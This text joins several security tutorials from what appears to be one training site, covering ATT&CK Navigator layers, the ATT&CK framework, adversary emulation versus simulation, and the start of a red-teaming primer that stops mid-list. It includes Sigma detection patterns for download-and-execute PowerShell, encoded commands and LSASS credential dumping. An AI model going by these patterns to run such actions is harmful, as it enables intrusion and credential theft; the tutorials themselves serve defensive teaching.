Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

Objective: Understand how to use MITRE ATT&CK Navigator to build, annotate, combine, and export technique layers — the JSON layer format, per-technique annotation fields, gap analysis via score expressions, programmatic generation, and the operational security controls around layer files for threat-informed defense and adversary emulation.

1. What Is ATT&CK Navigator and Why It Matters

ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It visualizes defensive coverage, supports red/blue team planning, and tracks the frequency of detected techniques. It is a meta-tool: it generates no host telemetry and maps to no single ATT&CK technique. Instead, it is the primary planning surface for structured adversary emulation and threat-informed defense.

The unit of work is the layer — a JSON file scoped to one ATT&CK domain and matrix version, listing techniques with whatever annotations have been applied. Layers can store a default view configuration (sorting, visible platforms) and can be authored interactively in the UI or generated programmatically.

The current release is v5.3.2 (April 21, 2026). The hosted instance lives at mitre-attack.github.io/attack-navigator/.

2. Tool Setup: Hosted Instance vs. Self-Hosted

The hosted instance is the fastest start. Layer files uploaded to it stay client-side — nothing is stored on MITRE’s servers. Despite that, MITRE recommends running your own instance if your layer files contain sensitive content.

Navigator is a dynamic web application that runs on Node.js and Angular CLI, and installs on Linux. A self-hosted instance can be air-gapped and fed local STIX bundles via the customDataURL field or customDataURL query parameter.

git clone https://github.com/mitre-attack/attack-navigator.git
cd attack-navigator/nav-app
npm install
ng serve   # serves the Navigator on localhost:4200

Self-hosted configuration lives in nav-app/src/assets/config.json. The banner setting (default empty string) displays HTML content at the top of the page. The features array lists togglable features; setting enabled: false on a feature hides all of its control elements.

3. Anatomy of a Layer: The JSON Schema

The current specification is Version 4.5 of the layer file format. Field names are case-sensitive — techniqueID, not techniqueId.

A minimal valid layer:

{
  "name": "Detection Coverage Baseline",
  "versions": {
    "attack": "15",
    "navigator": "5.3.2",
    "layer": "4.5"
  },
  "domain": "enterprise-attack",
  "description": "Blue-team detection posture",
  "techniques": []
}

The sorting field controls ordering within each tactic: 0 ascending by name, 1 descending by name, 2 ascending by score, 3 descending by score.

4. Building a Layer from Scratch (UI Walkthrough)

Open Navigator and select Create New Layer. Choose a domain (Enterprise, Mobile, or ICS) and an ATT&CK version — these become the domain and versions.attack fields. The matrix renders with every tactic as a column and techniques stacked beneath.

Use search to query by keyword, and multiselect to bulk-select techniques by platform, data source, or tactic. Selecting a technique highlights it; the right-click context menu and the technique controls bar apply annotations to the current selection. Expand a parent technique to reveal and individually annotate its sub-techniques (showSubtechniques: true).

This is the core discipline: select the techniques relevant to your engagement or coverage assessment, then annotate the selection rather than each cell one at a time.

5. Annotating Techniques: Colors, Scores, Comments, Metadata, and Links

Each object in the techniques array supports these fields:

"techniques": [
  {
    "techniqueID": "T1078",
    "color": "#fc3b3b"
  },
  {
    "techniqueID": "T1059.001",
    "tactic": "execution",
    "score": 75,
    "comment": "Script Block Logging on; no behavioral alert yet"
  },
  {
    "techniqueID": "T1055",
    "enabled": false,
    "metadata": [
      { "name": "owner", "value": "detection-eng" },
      { "name": "ticket", "value": "DET-4412" }
    ]
  }
]

Scored techniques draw their fill color from the gradient. Define a red→yellow→green scale to read low coverage at a glance:

"gradient": {
  "colors": ["#ff6666", "#ffe766", "#8ec843"],
  "minValue": 0,
  "maxValue": 100
}

Make the scale legible to stakeholders with legendItems:

"legendItems": [
  { "label": "No Coverage", "color": "#ff6666" },
  { "label": "Logged Only", "color": "#ffe766" },
  { "label": "Alerted",     "color": "#8ec843" }
]

Use an explicit color for binary states (in-scope vs. out-of-scope), and score + gradient for graded coverage. Set enabled: false to grey out techniques irrelevant to the assessment so the heat-map stays readable.

6. Working with Pre-Built Threat Group Layers

ATT&CK publishes pre-built Navigator layers for documented threat groups. From any group’s page on attack.mitre.org, use the option to view or export the group’s technique usage as a Navigator layer — stored as a JSON file.

Import these as the baseline for adversary emulation planning: the group layer becomes the what they do, and your detection-coverage layer becomes the what you can see. Loading the group’s JSON via Open Existing Layer instantly highlights every technique attributed to that adversary across the matrix.

7. Combining Layers: Gap Analysis via Score Expressions

Layers compose. Create New Layer → Create Layer from Other Layers lets Navigator produce a calculated layer from arithmetic over loaded layers, which is how you build gap analysis without spreadsheets.

Each open layer is assigned a variable (a, b, c). Entering a score expression of a+b+c combines scores across three threat-group layers, surfacing technique overlap among multiple adversaries.

The high-value workflow for detection engineering: load the adversary group layer (a) and your detection-coverage layer (b), then evaluate b - a. Techniques the adversary uses but you cannot detect render with negative scores — these are your prioritized work items. Set sorting: 3 to float the highest-scored (or, inverted, the worst-gap) techniques to the top of each tactic.

{
  "name": "Coverage Gap (b - a)",
  "domain": "enterprise-attack",
  "sorting": 3,
  "gradient": {
    "colors": ["#ff6666", "#ffffff", "#8ec843"],
    "minValue": -100,
    "maxValue": 100
  }
}

8. Programmatic Layer Generation with Python

Author layers at scale with mitreattack-python. Query the STIX data for a named intrusion-set, collect the techniques tied to it, and serialize a v4.5 layer dict.

import json
from mitreattack.stixdata import MitreAttackData

mad = MitreAttackData("enterprise-attack.json")

group = mad.get_groups_by_alias("APT29")[0]
techniques = mad.get_techniques_used_by_group(group["id"])

annotations = []
for t in techniques:
    attack_id = mad.get_attack_id(t["object"]["id"])
    annotations.append({
        "techniqueID": attack_id,
        "score": 1,
        "comment": "Attributed via STIX intrusion-set relationship"
    })

layer = {
    "name": f"{group['name']} TTPs",
    "versions": {"attack": "15", "navigator": "5.3.2", "layer": "4.5"},
    "domain": "enterprise-attack",
    "description": "Auto-generated group layer",
    "techniques": annotations,
    "gradient": {"colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 1}
}

with open("apt_layer.json", "w") as f:
    json.dump(layer, f, indent=2)

Generated JSON round-trips straight back into the UI via Open Existing Layer. Consuming a finished layer is equally simple — ingest it into reporting tooling and emit a Markdown gap table:

import json

with open("coverage_gap.json") as f:
    layer = json.load(f)

print("| Technique | Score | Comment |")
print("|---|---|---|")
for t in layer["techniques"]:
    print(f"| {t['techniqueID']} | {t.get('score','-')} | {t.get('comment','')} |")

9. Exporting Layers: JSON, SVG, Excel, and Multi-Layer Bundles

Search and filter the matrix to the exact view you want, then export it.

Embed a hosted layer directly in a report or internal portal with the layerURL query parameter:

<iframe
  src="https://mitre-attack.github.io/attack-navigator/#layerURL=https://intranet.local/layers/coverage_gap.json"
  width="100%" height="900" frameborder="0">
</iframe>

10. Layer Versioning and Migration

The sub-techniques update replaced many techniques with sub-techniques carrying new IDs, so layers authored before that release may not render correctly in newer matrices. The official update-layers.py script both upgrades a layer to the latest format and remaps technique IDs to their replacers where possible.

python3 update-layers.py --input old_layer.json --output migrated_layer.json

The in-app layer upgrade wizard (added in v5.x alongside STIX 2.1 Collection Index and TAXII 2.1 support) walks changed techniques interactively: it lists each technique’s previous and current state with links to both versions. Enable show annotated techniques only to focus on your annotations, then copy them from the previous version to the current one.

11. Common Attacker Techniques

Navigator is a planning tool — the “techniques” it manipulates are ATT&CK TTPs encoded as techniqueID values. The table below shows representative primitives a red team maps post-engagement and a blue team scores for coverage.

Each cell in Navigator links to the technique’s ATT&CK page, which exposes Data Sources, Detections, and Mitigations — use Navigator as the bridge into those fields, not the endpoint.

12. Defensive Strategies & Detection

The Navigator generates no telemetry; the defensive concern is twofold — layer-file OPSEC and translating scores into real detection.

Layer-file operational security:
– Layer JSON may contain red-team TTPs, engagement timelines, and detection-gap scoring. Do not upload sensitive layers to the public hosted instance.
– Hosted-instance uploads stay client-side, but run a self-hosted, access-controlled instance (auth proxy or VPN-only) for operational data.
– Version-control layers in Git with access controls equal to other sensitive operational documentation.

Translating scores to detection: a technique scored 0 in your coverage layer should map to a missing Sysmon rule, ETW subscription, or audit policy. Cross-reference each low-scored techniqueID against the ATT&CK page’s data sources. For T1059.001 (PowerShell): Sysmon Event ID 1 (Process Create), Event ID 4104 (Script Block Logging via the Microsoft-Windows-PowerShell ETW provider), and audit policy Audit Process Creation.

A Sigma rule sketch for the missing detection identified by a gap layer:

title: Suspicious PowerShell Script Block Execution
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'DownloadString'
      - 'FromBase64String'
  condition: selection
level: high

Overlaying an adversary layer (a) against a coverage layer (b) with the score expression b - a surfaces negative-score techniques — adversary TTPs you cannot detect — as the highest-priority detection-engineering backlog.

13. Tools for Layer Analysis

14. MITRE ATT&CK Mapping

Navigator has no technique ID of its own — it is a blue/purple-team planning tool. Its ATT&CK relevance is the technique IDs you place inside layers and the detection guidance each one links to.

Summary

• ATT&CK Navigator is the standard planning surface for threat-informed defense and adversary emulation — it visualizes coverage, it does not attack.
• Layers are v4.5-format JSON files scoped to one domain; per-technique fields (techniqueID, score, color, comment, metadata, enabled) drive the heat-map.
• Score expressions like b - a turn adversary and coverage layers into automatic gap analysis, surfacing undetectable TTPs as detection-engineering work.
• Generate layers programmatically with mitreattack-python, migrate them with update-layers.py, and export to JSON, SVG, or Excel.
• Treat layer files as sensitive: self-host with access control, version them in Git, and cross-reference every low score against real Sysmon/ETW/audit-policy detections.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle

References

• ATT&CK Navigator – Official GitHub Repository (mitre-attack/attack-navigator)
• ATT&CK Navigator USAGE.md – Building, Annotating & Exporting Layers
• ATT&CK Navigator Layer File Format Specification v4.5
• ATT&CK Navigator Layers README – Examples & Programmatic Generation
• MITRE ATT&CK – Adversary Emulation Plans (Official)
• MITRE ATT&CK – Getting Started: Adversary Emulation and Red Teaming

Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

Objective: Understand what the MITRE ATT&CK knowledge base is, how it is structured — domains, matrices, tactics, techniques, sub-techniques, and procedures — and how defenders, threat hunters, and authorized red teamers use it as a shared operational language for threat-informed defense and adversary emulation.

1. What Is MITRE ATT&CK and Why It Matters

MITRE ATT&CK is a living, open-source knowledge base that documents real-world adversary tactics, techniques, and procedures (TTPs). It was created by the MITRE Corporation and first released in 2013. ATT&CK focuses on how attackers behave — the actions they take inside an environment — rather than on the indicators of compromise (IOCs) they leave behind.

This distinction matters. IOCs (hashes, IPs, domains) are brittle and disposable; an adversary rotates them cheaply. Behaviors — injecting code, dumping credentials, abusing valid accounts — are expensive to change. ATT&CK catalogs the durable behaviors, grounded in empirical evidence from intrusions observed across industries and geographies.

ATT&CK builds on the Lockheed Martin Cyber Kill Chain (Hutchins, Cloppert & Amin, 2011). The Matrix columns are ordered roughly along the chronological flow of an intrusion, but ATT&CK goes deeper, enumerating concrete mechanisms under each phase rather than naming abstract stages.

2. The Three Domains: Enterprise, Mobile, and ICS

ATT&CK is partitioned into three domains, each with its own matrices.

This site focuses on Enterprise ATT&CK because it covers the Windows, Linux, and cloud surfaces most relevant to blue teams, DFIR, and authorized red teaming.

3. Tactics, Techniques, Sub-Techniques, and Procedures

The ATT&CK data model is a four-level hierarchy. Each level answers a different question.

Tactics represent the “why.” Techniques represent the “how.” Sub-techniques describe a narrower variation. For example, the technique Account Manipulation (T1098) encompasses sub-techniques such as Additional Email Delegate Permissions (T1098.002) and Exchange Email Delegate Permissions (T1098.003), each detailing a distinct method.

Procedures are the real-world implementations — specific tools, malware families, or hands-on-keyboard methods observed in active campaigns. This is what makes ATT&CK actionable: you can study the actual tradecraft, not just the abstraction.

4. Walking the Enterprise Matrix: The 14 Tactics

The Matrix column headings are the tactics, presented in roughly chronological order. The cells under each column are the techniques that achieve that tactical objective. The baseline below reflects ATT&CK v16.1 (14 tactics, 203 techniques, 453 sub-techniques). For reference, v18 lists 14 tactics, 216 techniques, 475 sub-techniques, 44 mitigations, and over 1,700 analytics. Always pin counts to a version.

v19 note (April 2026): ATT&CK v19 introduced a major structural change — the Defense Evasion tactic (TA0005) was split into two new tactics, Stealth and Defense Impairment. TA0005 is deprecated in the current release. Retrieve the exact new tactic IDs and transition guidance from attack.mitre.org/resources/updates/ before mapping against v19.

5. Anatomy of a Technique Page

Every technique page is a structured record. Take T1059.001 — PowerShell (a sub-technique of T1059 Command and Scripting Interpreter, under Execution).

A technique can belong to multiple tactics. The Detection section lists data source / data component pairs, free-text analytic notes, and — since v14 — structured pseudocode analytics from the MITRE Cyber Analytics Repository (CAR). These data-source fields tell you exactly which telemetry to collect.

6. Related Objects: Groups, Software, Campaigns, and Mitigations

ATT&CK is more than a list of behaviors. A graph of related objects ties techniques to threat intelligence.

This turns the Matrix into an operational tool: not just “T1056.001 exists,” but which group uses it, with what software, in which campaign, and which mitigations apply. The Group pages are the entry point for threat-actor-centric research and emulation planning.

7. Programmatic Access via STIX and the ATT&CK Python Library

ATT&CK is published as STIX 2.1 — the structured threat intelligence format from the OASIS CTI Technical Committee. In STIX, an intrusion-set object (Group) links to attack-pattern objects (techniques/sub-techniques), malware and tool objects (software), and campaign objects. MITRE distributes the bundles on GitHub.

The canonical library is mitreattack-python (github.com/mitre-attack/mitreattack-python). Load a bundle and query the data model directly.

from mitreattack.stix2 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# List every technique under the Persistence tactic (TA0003)
for t in mitre.get_techniques_by_tactic("persistence", "enterprise-attack"):
    print(mitre.get_attack_id(t.id), t.name)

Fetch a single technique by its ATT&CK ID and inspect the schema fields:

tech = mitre.get_object_by_attack_id("T1059.001", "attack-pattern")
print(tech.name)                 # PowerShell
print(tech.x_mitre_platforms)    # ['Windows']
for phase in tech.kill_chain_phases:
    print(phase.phase_name)      # execution

Walk the relationship graph to list every Group observed using a technique:

for g in mitre.get_groups_using_technique(tech.id):
    grp = g["object"]
    print(mitre.get_attack_id(grp.id), grp.name, grp.aliases)

The raw attack-pattern object behind that technique looks like this (trimmed and annotated):

{
  "type": "attack-pattern",
  "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
  "name": "PowerShell",
  "x_mitre_platforms": ["Windows"],
  "x_mitre_is_subtechnique": true,
  "kill_chain_phases": [
    { "kill_chain_name": "mitre-attack", "phase_name": "execution" }
  ],
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001"
    }
  ]
}

To stay current across releases, diff two STIX bundles to surface added or modified techniques:

# Illustrative: compare two domain bundles and emit a change report
from mitreattack.diffStix.changelog_helper import get_new_changelog_md

get_new_changelog_md(
    old="enterprise-attack-16.1.json",
    new="enterprise-attack-18.0.json",
    domains=["enterprise-attack"],
    markdown_file="attack-v16-to-v18-changes.md",
)

8. The ATT&CK Navigator and Coverage Layers

The ATT&CK Navigator renders the Matrix as an interactive heat map. You assign scores and colors to techniques to build layers — coverage maps for detection engineering, gap analysis, and emulation scoping. Layers are JSON and version-controllable.

{
  "name": "Detection Coverage - Execution & Persistence",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1059.001", "score": 100, "color": "#31a354",
      "comment": "Sysmon EID 1 + Script Block Logging" },
    { "techniqueID": "T1547.001", "score": 50, "color": "#fee08b",
      "comment": "Partial registry telemetry" },
    { "techniqueID": "T1055", "score": 0, "color": "#de2d26",
      "comment": "No process-injection detection" }
  ]
}

Overlay an adversary’s known techniques (red) against your detection coverage (green) and the white space is your gap list.

9. Applying ATT&CK in Defense and Authorized Emulation

As a defender, map every SIEM alert and detection rule to a technique ID. Build Navigator layers to measure coverage, then prioritize engineering against the techniques most relevant to your threat model — threat-informed defense instead of blanket coverage.

As an authorized red teamer / adversary emulator, pull a Group page (e.g., a relevant APT), extract its technique set, and build a TTP-driven emulation plan. This is fundamentally different from vulnerability-based scoping: you exercise the behaviors the defense must catch. Tools like MITRE CALDERA and Atomic Red Team chain ATT&CK-mapped tests so blue and red teams speak the same IDs.

10. Common Attacker Techniques

The framework catalogs thousands of behaviors. A handful illustrate the model’s range and the important fact that one technique can serve multiple tactics.

T1078 (Valid Accounts) is the teaching case: it appears under four tactics — Initial Access, Persistence, Privilege Escalation, and Defense Evasion — because the same behavior serves different adversary goals depending on context.

11. Defensive Strategies & Detection

Because ATT&CK is structural, the goal here is wiring it into your detection workflow. Each technique page lists Data Sources (e.g., Process, Command, Windows Registry, Network Traffic) and Data Components (e.g., Process Creation, Network Connection Creation). These map directly to telemetry you must collect.

On Windows, Sysmon supplies much of that telemetry.

Sigma is the vendor-neutral detection format that carries ATT&CK IDs in its tags block, letting every rule trace back to a technique and tactic.

title: PowerShell EncodedCommand Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution        # tactic name (lowercase)
  - attack.t1059.001        # sub-technique ID (lowercase)
level: medium

Mitigations use M#### IDs (verify against attack.mitre.org/mitigations/enterprise/ before citing in production):

12. Tools for ATT&CK Analysis

13. MITRE ATT&CK Mapping

Every other tutorial on this site closes with a mapping table. Read it as technique → tactic → context. This is the worked example.

14. Summary

• MITRE ATT&CK is a behavior-based, empirically grounded knowledge base of adversary TTPs — not an IOC feed.
• The data model is a hierarchy: tactics (why, TA####) → techniques (how, T####) → sub-techniques (T####.###) → procedures (real-world instances).
• Related objects — Groups (G####), Software (S####), Campaigns (C####), Mitigations (M####) — turn the Matrix into an operational, intelligence-led tool.
• Pin counts and structure to a specific version; v19 (April 2026) split Defense Evasion (TA0005) into Stealth and Defense Impairment — confirm the new IDs at attack.mitre.org/resources/updates/.
• Operationalize ATT&CK by mapping data sources to Sysmon telemetry, tagging Sigma rules with technique IDs, and tracking coverage in Navigator layers for both detection engineering and authorized emulation.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

References

• MITRE ATT&CK® – Getting Started (Official Resources Overview)
• Enterprise Tactics – MITRE ATT&CK®
• Enterprise Techniques – MITRE ATT&CK®
• Adversary Emulation Plans – MITRE ATT&CK®
• ATT&CK Adversary Emulation & Red Teaming – MITRE ATT&CK® Get Started
• MITRE ATT&CK: Design and Philosophy (Official PDF – Strom et al.)

Adversary Emulation vs. Adversary Simulation: Definitions, Differences, and Why It Matters

Objective: Understand adversary emulation and adversary simulation as distinct offensive-security disciplines, how each maps onto MITRE ATT&CK and real tooling, and how to choose the right methodology so your detection and response controls are tested against the threat you actually care about.

1. Setting the Stage: Why Terminology Precision Matters

The words emulation, simulation, and red teaming are routinely used interchangeably in vendor decks and statements of work. That imprecision has an operational cost. If you commission a generic penetration test and believe you have validated your detection capability against a named threat actor, you have made a category error — you bought a vulnerability-finding exercise and assumed it tested your SOC’s behavioral analytics.

Precise language drives correct scope. Adversary emulation answers “would we detect and respond to what APT29 actually does?” Adversary simulation answers “can an attacker reach our crown jewels through any plausible path?” Both are valuable; they are not substitutes.

2. Foundational Vocabulary: TTPs and the ATT&CK Matrix

Both disciplines speak ATT&CK. The framework decomposes adversary behavior into a hierarchy that red and blue teams share as a common language.

ATT&CK technique IDs (T1566.001, T1078, T1021.002) function as stable identifiers that bind a CTI report, an emulation step, and a detection rule together. When a red-team finding cites T1003.001 and a Sigma rule keys on the same ID, the loop from offense to defense closes cleanly.

3. Adversary Emulation Defined

Adversary emulation is a structured offensive exercise in which the operator replicates the specific TTPs of a named threat actor — derived from cyber threat intelligence (CTI) — to test whether the organization’s controls detect, prevent, or respond to that actor’s real-world playbook.

The defining constraint is intelligence. Introduced by MITRE, the discipline shifts testing away from tools, exploits, and indicators of compromise toward adversary behaviors as described in ATT&CK. The goal is not to replay a malware sample or rebuild exact C2 infrastructure, but to emulate how a real actor selects, chains, and adapts techniques over time to reach its objective.

Because CTI rarely captures complete hands-on-keyboard detail, emulation is behavioral, not scripted. The operator exercises judgment while remaining bound by intelligence-defined objectives, tradecraft patterns, and risk tolerance. Ideally the blue team is blind — the exercise should look like a genuine intrusion, using TTPs known to work in the target environment.

4. Anatomy of an Adversary Emulation Plan

An Adversary Emulation Plan (AEP) is the deliverable that operationalizes a named actor. MITRE’s ATT&CK Evaluations (the APT29 structure) define three components:

MITRE publishes AEPs for actors including APT3 (G0022), APT29 (G0016), FIN6, and menuPass through the Center for Threat-Informed Defense. A minimal AEP skeleton is intentionally a behavioral framework, not an exploit script:

# emulation-plan/generic-apt.yaml  (conceptual)
intelligence_summary:
  actor: "GENERIC-APT (illustrative)"
  references: ["G0016", "internal-cti-2024-114"]
  objective: "Access and exfiltrate finance data"

operational_flow:
  - phase: initial-access
    technique: T1566.001        # Spearphishing Attachment
  - phase: execution
    technique: T1059.001        # PowerShell
  - phase: persistence
    technique: T1547.001        # Registry Run Key
  - phase: credential-access
    technique: T1003.001        # LSASS Memory
  - phase: lateral-movement
    technique: T1021.002        # SMB / Admin Shares
  - phase: exfiltration
    technique: T1041            # Exfiltration Over C2 Channel

Each emulation step references an ATT&CK ID and a short behavioral description — never a weaponized payload.

5. Adversary Simulation Defined

Adversary simulation is a comprehensive assessment of an organization’s preparedness and responsiveness to cyber threats and incidents. It tests detection, response, and recovery procedures while replicating real-world scenarios — but it is goal-oriented and flexible rather than bound to one actor.

The simulating team acts as a hypothetical or generic threat actor and draws TTPs from the ATT&CK matrix broadly, choosing whatever path achieves the objective. Simulation is the right call when the environment is heterogeneous, the threat profile is unknown, or leadership wants a general posture assessment rather than validation against a specific named playbook.

The key axis of difference: simulation is a flexible, goal-oriented test of your security program’s ability to stop an attack path, while emulation is a rigid, intelligence-driven test of your ability to detect and respond to the behaviors of a named threat actor.

6. Side-by-Side Comparison

A convergence zone exists where vendor marketing uses both terms interchangeably — particularly Breach & Attack Simulation platforms that actually perform emulation of named-actor TTPs. Read past the label: ask whether the test is bound to specific CTI (emulation) or open-ended toward a goal (simulation).

7. Red Teaming, Purple Teaming, and BAS on the Spectrum

These methodologies are not competitors; they occupy different points on a spectrum.

Red teaming is the parent concept: using TTPs to emulate a real-world threat and measure the effectiveness of people, processes, and technology. Purple teaming runs red and blue collaboratively to tune detections in real time. Breach & Attack Simulation (BAS) — Picus, Cymulate, AttackIQ — automates and continuously runs TTPs against deployed controls, distinguished from manual emulation by automation and cadence.

8. The Regulatory Dimension: TIBER-EU, CBEST, and DORA

Intelligence-led emulation is now mandated for critical financial infrastructure.

These frameworks operationalize adversary emulation at enterprise scale: a threat-intelligence provider produces a targeting package, an independent red-team provider executes against live systems, and the engagement is governed to manage operational risk. “TLPT” is the regulatory term for exactly the intelligence-led emulation described in Section 3.

9. Tooling Landscape

Atomic Red Team atomics map one test to one technique, ideal for detection validation:

# atomics/T1059.001/T1059.001.yaml  (conceptual)
attack_technique: T1059.001
display_name: "Command and Scripting Interpreter: PowerShell"
atomic_tests:
  - name: "Run a benign discovery command"
    supported_platforms: [windows]
    input_arguments:
      cmd:
        description: "Command to execute"
        type: string
        default: "Get-Process"
    executor:
      name: powershell
      command: "#{cmd}"

CALDERA abilities bind a runnable action to an ATT&CK tactic and technique ID, letting the planner chain them into autonomous campaigns:

# caldera ability (conceptual)
id: 9b1f0c2e-...-illustrative
name: "Local account discovery"
tactic: discovery
technique:
  attack_id: T1087.001
  name: "Account Discovery: Local Account"
platforms:
  windows:
    psh:
      command: |
        Get-LocalUser | Select-Object Name,Enabled

Combine them pragmatically: atomics validate single-technique detections; CALDERA chains techniques into operational flows; BAS provides continuous regression testing of the controls you have already tuned.

10. Building an Emulation Plan from Threat Intelligence

The AEP authoring process turns a CTI report into an ordered operational flow. Conceptually, you extract referenced techniques, resolve them against ATT&CK STIX data, group by tactic, and order the result into the kill-chain progression.

# Conceptual CTI-to-AEP mapping (pseudocode, not tooling)
TACTIC_ORDER = ["initial-access", "execution", "persistence",
                "privilege-escalation", "defense-evasion",
                "credential-access", "lateral-movement",
                "collection", "exfiltration"]

def build_operational_flow(cti_technique_ids, attack_stix):
    steps = []
    for tid in cti_technique_ids:
        obj = attack_stix.lookup(tid)          # resolve T-ID -> ATT&CK object
        steps.append({"id": tid,
                      "tactic": obj.tactic,
                      "name": obj.name})
    # order by kill-chain phase to produce a logical flow
    return sorted(steps, key=lambda s: TACTIC_ORDER.index(s["tactic"]))

The resulting Operational Flow is the behavioral spine of the campaign:

T1566.001 ─► T1059.001 ─► T1547.001 ─► T1078 ─► T1003.001 ─► T1021.002 ─► T1041
Spearphish   PowerShell   Run Key      Valid    LSASS        SMB Admin    Exfil
Attachment   Execution    Persistence  Accounts Credentials  Lateral Mvmt over C2

Operators retain flexibility within each node — emulation constrains the what and why, not every keystroke.

11. Choosing the Right Methodology

Pick based on maturity, threat model, and blue-team readiness:

• Use emulation when you have a clear threat model (a known actor targets your sector) and want to validate detection of that actor’s specific behaviors.
• Use simulation when the threat profile is unknown, the environment is heterogeneous, or you need broad posture coverage.
• Use purple teaming when detections are immature and you want fast, collaborative tuning.
• Use BAS for continuous regression once detections exist.

Hard prerequisite: Simulation is inappropriate when logging infrastructure is insufficient to benefit from gap analysis. A small business that commissions a full simulation without Sysmon, PowerShell logging, and audit policy has wasted resources — there is nothing to see the attack with.

12. Common Attacker Techniques Exercised During Emulation

A representative AEP chains the following primitives; each is a discrete detection opportunity.

The program design principle: build analytics for ATT&CK behaviors, not detections for a single IOC or tool. Behavior-based analytics outlive the infrastructure of any one campaign.

13. Defensive Strategies & Detection

Instrument before you emulate. The events below should fire during a properly logged exercise.

Augment with ETW: Microsoft-Windows-Threat-Intelligence (injection, RX allocations — requires PPL/kernel consumer), Microsoft-Windows-PowerShell/Operational (4103, 4104 script-block logging for T1059.001), and WMI-Activity/Operational (5857–5861). Enable Audit Process Creation with ProcessCreationIncludeCmdLine_Enabled = 1 for full-command-line 4688, plus Audit Object Access → Kernel Object for 4656/4663 on LSASS handles.

Close the loop from finding to detection with a Sigma rule keyed on the same ATT&CK ID the emulation exercised:

title: LSASS Memory Access Consistent with Credential Dumping
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1010'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

MITRE ATT&CK Mapping

14. Tools for Adversary Emulation Analysis

Summary

• Emulation is intelligence-driven and named-actor-specific; simulation is goal-driven and actor-agnostic — they are not synonyms.
• An Adversary Emulation Plan binds CTI to behavior through three parts: Intelligence Summary, Operational Flow, and Emulation Plan — a behavioral framework, not a script.
• Red teaming, purple teaming, and BAS occupy distinct points on the spectrum; regulators (TIBER-EU, CBEST, DORA) now mandate intelligence-led emulation as TLPT.
• CALDERA chains ATT&CK-mapped abilities; Atomic Red Team validates single techniques — both speak technique IDs so findings convert directly into detections.
• Instrument before you emulate: deploy Sysmon, ScriptBlock logging, and audit policy first, then close the loop from finding → Sigma rule → SIEM, building analytics for behaviors rather than a single IOC.

Related Tutorials

• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• Adversary Emulation Plans | MITRE ATT&CK®
• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Adversary Emulation Library | MITRE Center for Threat-Informed Defense
• MITRE Adversary Emulation Library (GitHub) | center-for-threat-informed-defense
• Welcome to MITRE Caldera’s Documentation (Official Docs)
• Introducing the All-New Adversary Emulation Plan Library | MITRE Engenuity (Medium)

Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types

Objective: Understand what a red team engagement actually is, how it differs from vulnerability assessment and penetration testing, the adversarial mindset and methodologies that structure it, the typology of engagement formats, and how every offensive action maps back to MITRE ATT&CK to produce measurable defender value.

1. What Red Teaming Actually Is

Red teaming is objective-driven adversary simulation that tests an organization’s detection and response capability — not an exhaustive enumeration of every vulnerability. A penetration test prioritizes coverage of the attack surface; a red team engagement prioritizes realism and a targeted goal: reaching high-value assets such as executive workstations, code repositories, or financial systems while remaining undetected.

The defining trait: red team engagements deliberately do not seek full coverage. They genuinely test whether the organization can block or detect an attack chain, which is why they are the longest-running of all assessment types — stealth and patience are part of the deliverable.

2. The Adversarial Mindset

A red operator thinks objective-first, not checklist-first. Compliance testing asks “is this control present?” Adversarial thinking asks “what is the cheapest path to the crown jewels that the SOC will not see?”

Three mental anchors define the mindset:

• Objective-first — every action serves a defined goal (data, access, impact). Noise that does not advance the objective is risk.
• Stealth-conscious — assume the environment is instrumented. Prefer living-off-the-land over noisy tooling; pace operations to blend with baseline activity.
• Iterative — reconnaissance, hypothesis, action, observation, adapt. A blocked path is intelligence, not a dead end.

The premise underpinning modern engagements is assume breach: perimeter compromise is treated as inevitable, so the real measurement is how fast the defender detects and contains post-compromise activity.

3. Industry Methodologies

Red teaming inherits structure from established testing methodologies, then layers ATT&CK on top for adversary realism.

PTES (Penetration Testing Execution Standard) provides the canonical seven phases:

1. Pre-engagement Interactions — scope, objectives, rules of engagement, timelines, legal/compliance
2. Intelligence Gathering — reconnaissance, OSINT, passive and active scanning
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting

